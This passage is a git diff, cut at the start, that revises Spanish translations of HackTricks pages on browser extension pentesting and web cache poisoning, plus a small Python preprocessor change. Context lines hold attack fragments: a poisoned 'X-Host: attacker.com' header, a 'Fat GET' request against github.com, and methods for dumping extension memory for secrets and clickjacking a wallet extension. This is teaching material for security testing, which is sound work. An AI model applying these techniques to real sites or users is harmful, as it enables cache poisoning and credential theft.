(.*?)', raw_html)
- title = match.group(1) if match else href
- except Exception as e:
- logger.debug(f'Error opening URL {href}: {e}')
- pass #nDont stop on broken link
+ if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
+ pass
+ else:
+ try:
+ raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
+ match = re.search('(.*?)', raw_html)
+ title = match.group(1) if match else href
+ except Exception as e:
+ logger.debug(f'Error opening URL {href}: {e}')
+ pass #nDont stop on broken link
else:
try:
if href.endswith("/"):
@@ -90,7 +92,7 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
-
+ logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
index a53c0290c..3889160c7 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
@@ -29,7 +29,7 @@ La extensión permite un binario nativo que puede **acceder a la máquina host c
> [!CAUTION]
> Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar entrada maliciosa desde el script de contenido al núcleo de la extensión y desde el núcleo de la extensión al binario nativo.
-Cada componente de la extensión está separado de los demás por **fuertes límites protectores**. Cada componente se ejecuta en un **proceso del sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo.
+Cada componente de la extensión está separado de los demás por **fuertes límites protectores**. Cada componente se ejecuta en un **proceso de sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo.
Además, los scripts de contenido están separados de sus páginas web asociadas al **ejecutarse en un montón de JavaScript separado**. El script de contenido y la página web tienen **acceso al mismo DOM subyacente**, pero los dos **nunca intercambian punteros de JavaScript**, lo que previene la filtración de funcionalidad de JavaScript.
@@ -61,7 +61,7 @@ Ejemplo:
```
### `content_scripts`
-Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso, cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Modelo de Objetos del Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model).
+Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso, cualquier página que coincida con la expresión **`https://example.com/*`** y que no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Modelo de Objetos del Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) de la página.
```json
"content_scripts": [
{
@@ -95,9 +95,9 @@ Un mensaje se envía a las páginas de la extensión por el script de contenido
> [!WARNING]
> Dependiendo del navegador, las capacidades del script de contenido pueden variar ligeramente. Para navegadores basados en Chromium, la lista de capacidades está disponible en la [documentación de Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities), y para Firefox, el [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis) sirve como la fuente principal.\
-> También es notable que los scripts de contenido tienen la capacidad de comunicarse con scripts de fondo, lo que les permite realizar acciones y transmitir respuestas de vuelta.
+> También es notable que los scripts de contenido tienen la capacidad de comunicarse con scripts de fondo, lo que les permite realizar acciones y retransmitir respuestas.
-Para ver y depurar scripts de contenido en Chrome, se puede acceder al menú de herramientas de desarrollador de Chrome desde Opciones > Más herramientas > Herramientas de desarrollador O presionando Ctrl + Shift + I.
+Para ver y depurar scripts de contenido en Chrome, se puede acceder al menú de herramientas de desarrollador de Chrome desde Opciones > Más herramientas > Herramientas para desarrolladores O presionando Ctrl + Shift + I.
Una vez que se muestran las herramientas de desarrollador, se debe hacer clic en la **pestaña Fuente**, seguida de la pestaña **Scripts de Contenido**. Esto permite observar los scripts de contenido en ejecución de varias extensiones y establecer puntos de interrupción para rastrear el flujo de ejecución.
@@ -169,9 +169,9 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
```
Para incluir o excluir más URLs, también es posible usar **`include_globs`** y **`exclude_globs`**.
-### Scripts de Contenido `run_at`
+### Content Scripts `run_at`
-El campo `run_at` controla **cuándo se inyectan los archivos JavaScript en la página web**. El valor preferido y por defecto es `"document_idle"`.
+El campo `run_at` controla **cuándo se inyectan los archivos JavaScript en la página web**. El valor preferido y predeterminado es `"document_idle"`.
Los valores posibles son:
@@ -179,7 +179,7 @@ Los valores posibles son:
- **`document_start`**: Después de cualquier archivo de `css`, pero antes de que se construya cualquier otro DOM o se ejecute cualquier otro script.
- **`document_end`**: Inmediatamente después de que el DOM esté completo, pero antes de que se hayan cargado subrecursos como imágenes y marcos.
-#### A través de `manifest.json`
+#### Via `manifest.json`
```json
{
"name": "My extension",
@@ -326,8 +326,8 @@ browext-clickjacking.md
Según la [**documentación**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la propiedad de manifiesto `"externally_connectable"` declara **qué extensiones y páginas web pueden conectarse** a su extensión a través de [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) y [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
- Si la clave **`externally_connectable`** **no** está declarada en el manifiesto de su extensión o está declarada como **`"ids": ["*"]`**, **todas las extensiones pueden conectarse, pero ninguna página web puede conectarse**.
-- Si se **especifican IDs específicos**, como en `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo esas aplicaciones** pueden conectarse.
-- Si se **especifican coincidencias**, esas aplicaciones web podrán conectarse:
+- Si se especifican **IDs específicos**, como en `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo esas aplicaciones** pueden conectarse.
+- Si se especifican **coincidencias**, esas aplicaciones web podrán conectarse:
```json
"matches": [
"https://*.google.com/*",
@@ -352,9 +352,9 @@ Para comunicarse entre el script de contenido y la página web, generalmente se
### Dentro de la extensión
-Generalmente se utiliza la función **`chrome.runtime.sendMessage`** para enviar un mensaje dentro de la extensión (generalmente manejado por el script `background`) y para recibirlo y manejarlo se declara un oyente llamando a **`chrome.runtime.onMessage.addListener`**.
+Generalmente se utiliza la función **`chrome.runtime.sendMessage`** para enviar un mensaje dentro de la extensión (generalmente manejado por el script `background`) y para recibir y manejarlo se declara un oyente llamando a **`chrome.runtime.onMessage.addListener`**.
-También es posible usar **`chrome.runtime.connect()`** para tener una conexión persistente en lugar de enviar mensajes individuales, es posible usarlo para **enviar** y **recibir** **mensajes** como en el siguiente ejemplo:
+También es posible usar **`chrome.runtime.connect()`** para tener una conexión persistente en lugar de enviar mensajes individuales, se puede usar para **enviar** y **recibir** **mensajes** como en el siguiente ejemplo:
@@ -393,7 +393,7 @@ También es posible enviar mensajes desde un script de fondo a un script de cont
### Desde `externally_connectable` permitido a la extensión
-**Las aplicaciones web y las extensiones de navegador externas permitidas** en la configuración de `externally_connectable` pueden enviar solicitudes utilizando :
+**Las aplicaciones web y las extensiones de navegador externas permitidas** en la configuración de `externally_connectable` pueden enviar solicitudes usando :
```javascript
chrome.runtime.sendMessage(extensionId, ...
```
@@ -401,7 +401,7 @@ Donde es necesario mencionar el **ID de la extensión**.
### Mensajería Nativa
-Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, que podrían ser **propensos a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [More on this later](./#native-messaging).
+Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, que podrían ser **propensos a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [Más sobre esto más tarde](./#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@@ -456,9 +456,9 @@ Una comunicación segura de Post Message debe verificar la autenticidad del mens
- El script de contenido podría esperar un mensaje solo si el usuario realiza alguna acción.
- **dominio de origen**: podría esperar un mensaje solo de una lista permitida de dominios.
- Si se utiliza una expresión regular, ten mucho cuidado.
-- **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **del mismo ventana** donde el Script de Contenido está escuchando.
+- **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **desde la misma ventana** donde el Script de Contenido está escuchando.
-Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifica en la siguiente página **posibles bypasses de Post Message**:
+Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifica en la siguiente página **posibles elusiones de Post Message**:
{{#ref}}
../postmessage-vulnerabilities/
@@ -527,9 +527,9 @@ Una consideración importante es que en escenarios donde múltiples páginas est
Al crear nuevas extensiones, la preferencia debe ser hacia promesas en lugar de callbacks. Con respecto al uso de callbacks, la función `sendResponse()` se considera válida solo si se ejecuta directamente dentro del contexto sincrónico, o si el controlador de eventos indica una operación asincrónica al devolver `true`. Si ninguno de los controladores devuelve `true` o si la función `sendResponse()` se elimina de la memoria (recolectada por el garbage collector), el callback asociado con la función `sendMessage()` se activará por defecto.
-## Native Messaging
+## Mensajería Nativa
-Las extensiones del navegador también permiten comunicarse con **binarios en el sistema a través de stdin**. La aplicación debe instalar un json que lo indique en un json como:
+Las extensiones del navegador también permiten comunicarse con **binarios en el sistema a través de stdin**. La aplicación debe instalar un json que indique esto en un json como:
```json
{
"name": "com.my_company.my_application",
@@ -567,34 +567,34 @@ Y dentro de esto se explica un ejemplo de **cómo ir de cualquier página a RCE
## Información Sensible en Memoria/Código/Portapapeles
-Si una Extensión del Navegador almacena **información sensible dentro de su memoria**, esta podría ser **volcada** (especialmente en máquinas con Windows) y **buscada** para esta información.
+Si una Extensión del Navegador almacena **información sensible dentro de su memoria**, esta podría ser **volcada** (especialmente en máquinas Windows) y **buscada** para esta información.
Por lo tanto, la memoria de la Extensión del Navegador **no debe considerarse segura** y **la información sensible** como credenciales o frases mnemotécnicas **no debe ser almacenada**.
-Por supuesto, **no pongas información sensible en el código**, ya que será **pública**.
+Por supuesto, **no ponga información sensible en el código**, ya que será **pública**.
-Para volcar la memoria del navegador, podrías **volcar la memoria del proceso** o ir a la **configuración** de la extensión del navegador, hacer clic en **`Inspeccionar pop-up`** -> En la sección **`Memoria`** -> **`Tomar un instantáneo`** y **`CTRL+F`** para buscar dentro del instantáneo información sensible.
+Para volcar la memoria del navegador, podría **volcar la memoria del proceso** o ir a la **configuración** de la extensión del navegador y hacer clic en **`Inspeccionar pop-up`** -> En la sección **`Memoria`** -> **`Tomar un instantáneo`** y **`CTRL+F`** para buscar dentro del instantáneo información sensible.
Además, información altamente sensible como claves mnemotécnicas o contraseñas **no debería permitirse que se copien en el portapapeles** (o al menos eliminarla del portapapeles en unos segundos) porque entonces los procesos que monitorean el portapapeles podrán obtenerlas.
## Cargando una Extensión en el Navegador
-1. **Descarga** la Extensión del Navegador y descomprímela.
-2. Ve a **`chrome://extensions/`** y **habilita** el `Modo de Desarrollador`.
-3. Haz clic en el botón **`Cargar descomprimido`**.
+1. **Descargue** la Extensión del Navegador y descomprímala.
+2. Vaya a **`chrome://extensions/`** y **active** el `Modo de Desarrollador`.
+3. Haga clic en el botón **`Cargar descomprimido`**.
-En **Firefox**, vas a **`about:debugging#/runtime/this-firefox`** y haces clic en el botón **`Cargar complemento temporal`**.
+En **Firefox**, vaya a **`about:debugging#/runtime/this-firefox`** y haga clic en el botón **`Cargar complemento temporal`**.
## Obtener el código fuente de la tienda
El código fuente de una extensión de Chrome se puede obtener a través de varios métodos. A continuación se detallan explicaciones e instrucciones para cada opción.
-### Descargar la Extensión como ZIP a través de la Línea de Comandos
+### Descargar Extensión como ZIP a través de la Línea de Comandos
El código fuente de una extensión de Chrome se puede descargar como un archivo ZIP utilizando la línea de comandos. Esto implica usar `curl` para obtener el archivo ZIP de una URL específica y luego extraer el contenido del archivo ZIP a un directorio. Aquí están los pasos:
-1. Reemplaza `"extension_id"` con el ID real de la extensión.
-2. Ejecuta los siguientes comandos:
+1. Reemplace `"extension_id"` con el ID real de la extensión.
+2. Ejecute los siguientes comandos:
```bash
extension_id=your_extension_id # Replace with the actual extension ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
@@ -616,7 +616,7 @@ Las extensiones de Chrome instaladas localmente también se pueden inspeccionar.
2. Navega a la subcarpeta `Extensions/` dentro del directorio del perfil.
3. Esta carpeta contiene todas las extensiones instaladas, típicamente con su código fuente en un formato legible.
-Para identificar las extensiones, puedes mapear sus IDs a nombres:
+Para identificar extensiones, puedes mapear sus IDs a nombres:
- Habilita el Modo Desarrollador en la página `about:extensions` para ver los IDs de cada extensión.
- Dentro de la carpeta de cada extensión, el archivo `manifest.json` contiene un campo `name` legible, ayudándote a identificar la extensión.
@@ -652,11 +652,11 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
- [ ] Si el **Content Script accede a detalles del DOM**, verificar que **no estén introduciendo un XSS** si son **modificados** por la web
- [ ] Hacer un énfasis especial si esta comunicación también está involucrada en la **comunicación de Content Script -> script de fondo**
- [ ] Si el script de fondo se comunica a través de **native messaging**, verificar que la comunicación sea segura y esté saneada
-- [ ] **La información sensible no debe ser almacenada** dentro del **código** de la Extensión del Navegador
-- [ ] **La información sensible no debe ser almacenada** dentro de la **memoria** de la Extensión del Navegador
+- [ ] **La información sensible no debe ser almacenada** dentro del **código** de la extensión del navegador
+- [ ] **La información sensible no debe ser almacenada** dentro de la **memoria** de la extensión del navegador
- [ ] **La información sensible no debe ser almacenada** dentro del **sistema de archivos sin protección**
-## Riesgos de la Extensión del Navegador
+## Riesgos de Extensiones de Navegador
- La aplicación [https://crxaminer.tech/](https://crxaminer.tech/) analiza algunos datos como los permisos que solicita la extensión del navegador para dar un nivel de riesgo de uso de la extensión del navegador.
@@ -668,24 +668,24 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
- Visor de **[**manifest.json**](https://developer.chrome.com/extensions/manifest)**: simplemente muestra una versión JSON formateada del manifiesto de la extensión.
- **Análisis de Huellas Dactilares**: Detección de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) y generación automática de JavaScript de huellas dactilares de extensiones de Chrome.
- **Análisis de Clickjacking Potencial**: Detección de páginas HTML de extensiones con la directiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) establecida. Estas son potencialmente vulnerables a clickjacking dependiendo del propósito de las páginas.
-- Visor de **Advertencia(s) de Permisos**: que muestra una lista de todas las advertencias de solicitud de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión.
+- Visor de **Advertencia(s) de Permisos**: que muestra una lista de todas las advertencias de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión.
- **Función(es) Peligrosa(s)**: muestra la ubicación de funciones peligrosas que podrían ser potencialmente explotadas por un atacante (por ejemplo, funciones como innerHTML, chrome.tabs.executeScript).
- **Punto(s) de Entrada**: muestra dónde la extensión recibe entrada de usuario/externa. Esto es útil para entender la superficie de una extensión y buscar puntos potenciales para enviar datos maliciosamente elaborados a la extensión.
- Tanto los escáneres de Función(es) Peligrosa(s) como de Punto(s) de Entrada tienen lo siguiente para sus alertas generadas:
- Fragmento de código relevante y línea que causó la alerta.
- Descripción del problema.
-- Un botón de “Ver Archivo” para ver el archivo fuente completo que contiene el código.
+- Un botón “Ver Archivo” para ver el archivo fuente completo que contiene el código.
- La ruta del archivo alertado.
- La URI completa de la extensión de Chrome del archivo alertado.
-- El tipo de archivo que es, como un script de Página de Fondo, Script de Contenido, Acción del Navegador, etc.
+- El tipo de archivo que es, como un script de Página de Fondo, Script de Contenido, Acción de Navegador, etc.
- Si la línea vulnerable está en un archivo JavaScript, las rutas de todas las páginas donde está incluida, así como el tipo de estas páginas y el estado de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- **Analizador de Política de Seguridad de Contenido (CSP) y verificador de bypass**: Esto señalará debilidades en la CSP de su extensión y también iluminará cualquier forma potencial de eludir su CSP debido a CDNs en la lista blanca, etc.
-- **Bibliotecas Conocidas Vulnerables**: Esto utiliza [Retire.js](https://retirejs.github.io/retire.js/) para verificar cualquier uso de bibliotecas JavaScript conocidas como vulnerables.
+- **Bibliotecas Vulnerables Conocidas**: Esto utiliza [Retire.js](https://retirejs.github.io/retire.js/) para verificar cualquier uso de bibliotecas JavaScript conocidas como vulnerables.
- Descargar extensión y versiones formateadas.
- Descargar la extensión original.
- Descargar una versión embellecida de la extensión (HTML y JavaScript auto formateados).
-- Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, suponiendo que la extensión no ha sido actualizada, será casi instantáneo debido a que los resultados están en caché.
-- URLs de Reporte Enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish.
+- Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, suponiendo que la extensión no se haya actualizado, será casi instantáneo debido a que los resultados están en caché.
+- URLs de Informe enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish.
### [Neto](https://github.com/elevenpaths/neto)
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
index 3b8c2f124..e545bfc28 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
@@ -79,7 +79,7 @@ Un [**artículo de blog sobre un ClickJacking en metamask se puede encontrar aqu
-**Otro ClickJacking solucionado** en la extensión de Metamask fue que los usuarios podían **Click para agregar a la lista blanca** cuando una página era sospechosa de ser phishing debido a `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como esa página era vulnerable a Clickjacking, un atacante podría abusar de ella mostrando algo normal para hacer que la víctima haga clic para agregarla a la lista blanca sin darse cuenta, y luego volver a la página de phishing que será agregada a la lista blanca.
+**Otro ClickJacking solucionado** en la extensión de Metamask fue que los usuarios podían **Click para agregar a la lista blanca** cuando una página era sospechosa de ser phishing debido a `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como esa página era vulnerable a Clickjacking, un atacante podría abusar de ella mostrando algo normal para hacer que la víctima hiciera clic para agregarla a la lista blanca sin darse cuenta, y luego volver a la página de phishing que será agregada a la lista blanca.
## Ejemplo de Steam Inventory Helper
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
index b5a8c8718..23c384c9d 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
@@ -18,7 +18,7 @@ Puedes encontrar la [**lista completa de permisos que una extensión de navegado
### `host_permissions`
-La configuración opcional pero poderosa **`host_permissions`** indica con qué hosts la extensión podrá interactuar a través de APIs como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), y [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
+La configuración opcional pero poderosa **`host_permissions`** indica con qué hosts la extensión podrá interactuar a través de APIs como [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) y [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
Los siguientes `host_permissions` permiten básicamente todos los web:
```json
@@ -59,9 +59,9 @@ Ambas API permiten ejecutar no solo archivos contenidos en las extensiones como
### Privilegios implícitos
-Algunos privilegios de la extensión **no tienen que ser declarados explícitamente**. Un ejemplo es la [API de pestañas](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): su funcionalidad básica es accesible sin ningún privilegio. Cualquier extensión puede ser notificada cuando abres y cierras pestañas, simplemente no sabrá a qué sitio web corresponden estas pestañas.
+Algunos privilegios de extensión **no tienen que ser declarados explícitamente**. Un ejemplo es la [API de pestañas](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): su funcionalidad básica es accesible sin ningún privilegio. Cualquier extensión puede ser notificada cuando abres y cierras pestañas, simplemente no sabrá a qué sitio web corresponden estas pestañas.
-¿Suena demasiado inofensivo? La [API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) es algo menos inofensiva. Puede ser utilizada para **crear una nueva pestaña**, esencialmente lo mismo que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) que puede ser llamado por cualquier sitio web. Sin embargo, mientras que `window.open()` está sujeto al **bloqueador de ventanas emergentes, `tabs.create()` no lo está**.
+¿Suena demasiado inofensivo? La [API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) es algo menos así. Puede ser utilizada para **crear una nueva pestaña**, esencialmente lo mismo que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) que puede ser llamado por cualquier sitio web. Sin embargo, mientras que `window.open()` está sujeto al **bloqueador de ventanas emergentes, `tabs.create()` no lo está**.
> [!CAUTION]
> Una extensión puede crear cualquier número de pestañas cuando quiera.
@@ -79,7 +79,7 @@ Probablemente sepas que los sitios web pueden solicitar permisos especiales, por
Típicamente, una extensión lo hará inmediatamente después de ser instalada. Una vez que se acepta este aviso, **el acceso a la cámara web es posible en cualquier momento**, incluso si el usuario no está interactuando con la extensión en ese momento. Sí, un usuario solo aceptará este aviso si la extensión realmente necesita acceso a la cámara web. Pero después de eso, deben confiar en que la extensión no grabará nada en secreto.
-Con acceso a [tu ubicación geográfica exacta](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) o [el contenido de tu portapapeles](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), otorgar permiso explícitamente es innecesario por completo. **Una extensión simplemente agrega `geolocation` o `clipboard` a la** [**entrada de permisos**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de su manifiesto**. Estos privilegios de acceso se otorgan implícitamente cuando se instala la extensión. Así que una extensión maliciosa o comprometida con estos privilegios puede crear tu perfil de movimiento o monitorear tu portapapeles en busca de contraseñas copiadas sin que te des cuenta.
+Con acceso a [tu ubicación geográfica exacta](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) o [contenidos de tu portapapeles](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), otorgar permiso explícitamente es innecesario por completo. **Una extensión simplemente agrega `geolocation` o `clipboard` a la** [**entrada de permisos**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de su manifiesto**. Estos privilegios de acceso se otorgan implícitamente cuando se instala la extensión. Así que una extensión maliciosa o comprometida con estos privilegios puede crear tu perfil de movimiento o monitorear tu portapapeles en busca de contraseñas copiadas sin que te des cuenta.
Agregar la palabra clave **`history`** a la [entrada de permisos](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) del manifiesto de la extensión otorga **acceso a la** [**API de historial**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Permite recuperar todo el historial de navegación del usuario de una vez, sin esperar a que el usuario visite estos sitios web nuevamente.
@@ -99,9 +99,9 @@ Puedes encontrar la [**lista completa de permisos que una extensión de navegado
La política del desarrollador de Google prohíbe explícitamente a las extensiones solicitar más privilegios de los necesarios para su funcionalidad, mitigando efectivamente las solicitudes excesivas de permisos. Un caso en el que una extensión del navegador sobrepasó este límite involucró su distribución con el propio navegador en lugar de a través de una tienda de complementos.
-Los navegadores podrían limitar aún más el abuso de los privilegios de las extensiones. Por ejemplo, las API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) y [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) de Chrome, utilizadas para la grabación de pantalla, están diseñadas para minimizar el abuso. La API tabCapture solo puede ser activada a través de la interacción directa del usuario, como hacer clic en el ícono de la extensión, mientras que desktopCapture requiere la confirmación del usuario para que la ventana sea grabada, previniendo actividades de grabación clandestinas.
+Los navegadores podrían limitar aún más el abuso de los privilegios de extensión. Por ejemplo, las API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) y [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) de Chrome, utilizadas para la grabación de pantalla, están diseñadas para minimizar el abuso. La API tabCapture solo puede ser activada a través de la interacción directa del usuario, como hacer clic en el ícono de la extensión, mientras que desktopCapture requiere la confirmación del usuario para que la ventana sea grabada, previniendo actividades de grabación clandestinas.
-Sin embargo, endurecer las medidas de seguridad a menudo resulta en una disminución de la flexibilidad y la facilidad de uso de las extensiones. El permiso [activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra este compromiso. Se introdujo para eliminar la necesidad de que las extensiones solicitaran privilegios de host en toda la internet, permitiendo que las extensiones accedan solo a la pestaña actual tras la activación explícita por parte del usuario. Este modelo es efectivo para extensiones que requieren acciones iniciadas por el usuario, pero no es suficiente para aquellas que requieren acciones automáticas o preventivas, comprometiendo así la conveniencia y la capacidad de respuesta inmediata.
+Sin embargo, endurecer las medidas de seguridad a menudo resulta en una disminución de la flexibilidad y la facilidad de uso de las extensiones. El [permiso activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra este compromiso. Se introdujo para eliminar la necesidad de que las extensiones solicitaran privilegios de host en toda la internet, permitiendo que las extensiones accedan solo a la pestaña actual tras la activación explícita por parte del usuario. Este modelo es efectivo para extensiones que requieren acciones iniciadas por el usuario, pero no es suficiente para aquellas que requieren acciones automáticas o preventivas, comprometiendo así la conveniencia y la capacidad de respuesta inmediata.
## **Referencias**
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
index 0b5c8a904..09e333816 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
@@ -94,7 +94,7 @@ Para mejorar esta vulnerabilidad, se explota una vulnerabilidad secundaria de **
[...]
],
```
-Notablemente, la página **`/html/bookmarks.html`** es susceptible a framing, por lo tanto vulnerable a **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera involuntaria.
+Notablemente, la **`/html/bookmarks.html`** página es susceptible a framing, por lo tanto vulnerable a **clickjacking**. Esta vulnerabilidad se aprovecha para enmarcar la página dentro del sitio de un atacante, superponiéndola con elementos DOM para rediseñar la interfaz de manera engañosa. Esta manipulación lleva a las víctimas a interactuar con la extensión subyacente de manera involuntaria.
## Referencias
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 6e636ca3e..9c9cecbc5 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -17,7 +17,7 @@ La ejecución de un ataque de envenenamiento de caché implica varios pasos:
1. **Identificación de Entradas Sin Clave**: Estos son parámetros que, aunque no son necesarios para que una solicitud sea almacenada en caché, pueden alterar la respuesta devuelta por el servidor. Identificar estas entradas es crucial, ya que pueden ser explotadas para manipular la caché.
2. **Explotación de las Entradas Sin Clave**: Después de identificar las entradas sin clave, el siguiente paso implica averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de una manera que beneficie al atacante.
-3. **Asegurar que la Respuesta Envenenada esté Almacenada en Caché**: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché está envenenada recibirá la respuesta contaminada.
+3. **Asegurar que la Respuesta Envenenada esté Almacenada en Caché**: El paso final es asegurarse de que la respuesta manipulada esté almacenada en la caché. De esta manera, cualquier usuario que acceda a la página afectada mientras la caché esté envenenada recibirá la respuesta contaminada.
### Descubrimiento: Verificar encabezados HTTP
@@ -125,7 +125,7 @@ X-Host: attacker.com
```
### Fat Get
-Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que James Kettle encontró en el sitio web de Github:
+Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que encontró James Kettle en el sitio web de Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
